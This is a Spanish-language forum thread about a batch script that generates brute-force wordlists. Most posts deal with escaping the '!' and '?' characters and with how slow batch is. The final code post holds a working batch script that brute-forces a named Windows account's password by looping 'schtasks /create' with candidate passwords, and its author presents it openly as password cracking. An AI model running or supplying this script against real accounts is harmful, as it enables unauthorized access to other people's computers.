[BATCH] Problema con diccionario

Iniciado por zikotik, 17 Julio 2013, 03:35 AM

0 Miembros y 2 Visitantes están viendo este tema.

zikotik

Hola gente, les comento que estoy haciendo una pequeña aplicación en batch que genera un diccionario con la cantidad de caracteres que el usuario desee.

El sistema en términos básicos sería:

- suponiendo que se ingresó un máximo de 4 caracteres por palabras -

aaaa
aaab
aaac
aaad
aaae
aaaf
...
aaaz
aaa0
aaa1

- y así constantemente -

El problema es que no puedo hacer que salgan los caracteres ! y ?.
Les dejo el código para que lo lean y me den una pequeña ayuda si es posible.
Gracias de antemano.

Código (dos) [Seleccionar]
@echo off
title Diccionario
setlocal enabledelayedexpansion

set chars=a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,w,w,x,y,z,0,1,2,3,4,5,6,7,8,9,!,?,#,@,.
set ini=0
set wor=0
set /p lenght=Lenght:

call :generar

pause
exit

:generar
set /a wor+=1
title Palabra %wor%
if %ini% neq %lenght% (
set /a ini+=1
for %%c in (!chars!) do call :generate %~1%%~c
set /a ini-=1
) else (
set cadena=%~1
echo.!cadena!
echo.!cadena!>>diccionario_!lenght!.txt
)
goto:eof

Eleкtro









zikotik

Cita de: EleKtro H@cker en 17 Julio 2013, 03:55 AM
Escapa:

Código (dos) [Seleccionar]
Echo ^^!

Saludos

Gracias por tu respuesta, pero lamentablemente me devuelve un valor nulo, no el símbolo tal.

Intenté tanto con ^ como con ^^ y nada.

Eleкtro

#3
Cita de: zikotik en 17 Julio 2013, 03:59 AMIntenté tanto con ^ como con ^^ y nada.

Lo que te dije funciona para mostrar el caracter conflictivo "!" cuando la expansión de variables está activada como lo está en el código que has mostrado:

Código (dos) [Seleccionar]
setlocal enabledelayedexpansion
Echo ^^!


...Óbviamente es un ejemplo que debes adaptar al resto de tu código.






Yo diréctamente te diría que los temas complicados y donde se maneja mucho texto lo tratases en cualquier otro lenguaje que no sea Batch, pero  si reálmente estás dispuesto a hacerlo sólo en Batch y si además quieres incluir los caracteres conflictivos "!" "?" pues entonces el code no va a poder quedar tán perfecto ni simplificado como deseas.

De todas formas no necesitas usar enabledelayedexpansion en el código.

Código (dos) [Seleccionar]
@echo off
title Diccionario

set "chars=a b c d e f g h i j k l m n o p q r s t u w w x y z 0 1 2 3 4 5 6 7 8 9 ! ."
set /A "ini=0"
set /A "wor=0"

set /p lenght=Lenght:

call :generar

pause&exit


:generar
set /a "wor+=1"
title Palabra "%wor%"
if %ini% neq %lenght% (
set /a "ini+=1"
for %%c in (%chars%) do (call :generar %~1%%c)
set /a "ini-=1"
) else (
echo.%1
echo.%1>>"diccionario_%lenght%.txt"
)
goto:eof



Aquí tienes una alternativa funcional para mostrar los dos caracteres:

Código (dos) [Seleccionar]
@echo off
title Diccionario

rem set "chars=a b c d e f g h i j k l m n o p q r s t u w w x y z 0 1 2 3 4 5 6 7 8 9 ! ? ."
set /A "ini=0"
set /A "wor=0"

(
Echo a
Echo b
Echo c
Echo bla bla bla
Echo bla bla bla
Echo !
Echo ?
)>"%TEMP%\chars.txt"

set /p lenght=Lenght:

call :generar

pause&exit


:generar
set /a "wor+=1"
title Palabra "%wor%"
if %ini% neq %lenght% (
set /a "ini+=1"
for /F %%c in ('type "%TEMP%\chars.txt"') do (call :generar %~1%%c)
set /a "ini-=1"
) else (
echo.%1
echo.%1>>"diccionario_%lenght%.txt"
)
goto:eof



Tampoco me voy a esmerar mucho más tratándose de Batch y sus limitaciones.

Saludos!








zikotik

Cita de: EleKtro H@cker en 17 Julio 2013, 04:47 AM
Lo que te dije funciona para mostrar el caracter conflictivo "!" cuando la expansión de variables está activada como lo está en el código que has mostrado:

...

Bueno... la única manera es sacando el "!" y el "#".
Podría usar el C++, pero no se me ocurre cómo.
No le puedo sacar la lógica sinceramente, intenté con while(), for(), if() y nada...

engel lex

por otro lado... que tan rapido podria ser batch para esto? :s
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.

zikotik

Cita de: engelx en 17 Julio 2013, 19:23 PM
por otro lado... que tan rapido podria ser batch para esto? :s

Nada rápido... digamos que si ponemos una longitud de 4 caracteres, en batch se tardaría 1 hora o un poco más en escribir una lista completa de una longitud de 4 caracteres con una diversidad de 40 caracteres (más de 23720000 líneas).

Eleкtro

@zikotik
Si además muestras el output en la CMD, la rapidez disminuye x2, te lo digo por experiencia, no hagas esto en Batch.

Saludos








Binary_Death

#8
Esta es la forma más eficiente de trabajar con generadores de diccionarios por fuerza bruta que conozco en batch, muchísimo más rápido que el método recursivo que estás intentando implementar. Échale un vistazo con calma, que es bastante enrevesado.


@echo off
setlocal enabledelayedexpansion
color 01&more/c<nul
set /p "user_name=*Username: "
set /p "max_lengh=*Length limit: "
set "chr_lst=a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z"
set "cmd_gen.a=" & set "cmd_gen.b=" & set "cmd_gen.c="
set "chr_for="
set /a psw_lengh=0
set /a chr_cnt=0
set "task_name=%random%"
echo: -----Working...
:_loop.gen
setlocal
set /a psw_lengh+=1
if %psw_lengh% gtr %max_lengh% goto :_np
for %%i in (%chr_lst%) do (
if !chr_cnt! LSS %psw_lengh% (
set "chr_for=!chr_for!,%%i"
set/a chr_cnt+=1
)
)
for %%i in (%chr_for%) do set "cmd_gen.a=!cmd_gen.a!for %%%%i in (%chr_lst%) do ("
for %%i in (%chr_for%) do set "cmb_chr=!cmb_chr!%%%%i"
set "cmd_gen.b=schtasks /create /tn "%task_name%" /tr "cmd /c exit" /sc ONCE /st 00:00 /ru %user_name% /rp %cmb_chr%>nul 2>&1&&call:_yp %cmb_chr%"
for %%i in (%chr_for%) do set "cmd_gen.c=!cmd_gen.c!)"
%cmd_gen.a%%cmd_gen.b%%cmd_gen.c%
endlocal & set /a psw_lengh=%psw_lengh%
goto :_loop.gen
:_yp
schtasks /delete /tn "%task_name%" /f 1>nul 2>&1
echo.&echo:Password: %~1 & pause 1>nul
exit
:_np
echo.&echo: Password not found. & pause 1>nul
exit


Bueno... como ves aquí lo apliqué para el cracking de el password de un usuario de Windows  ;)

Geormarsch

"Comentar el código es como limpiar el cuarto de baño; nadie quiere hacerlo, pero el resultado es siempre una experiencia más agradable para uno mismo y sus invitados"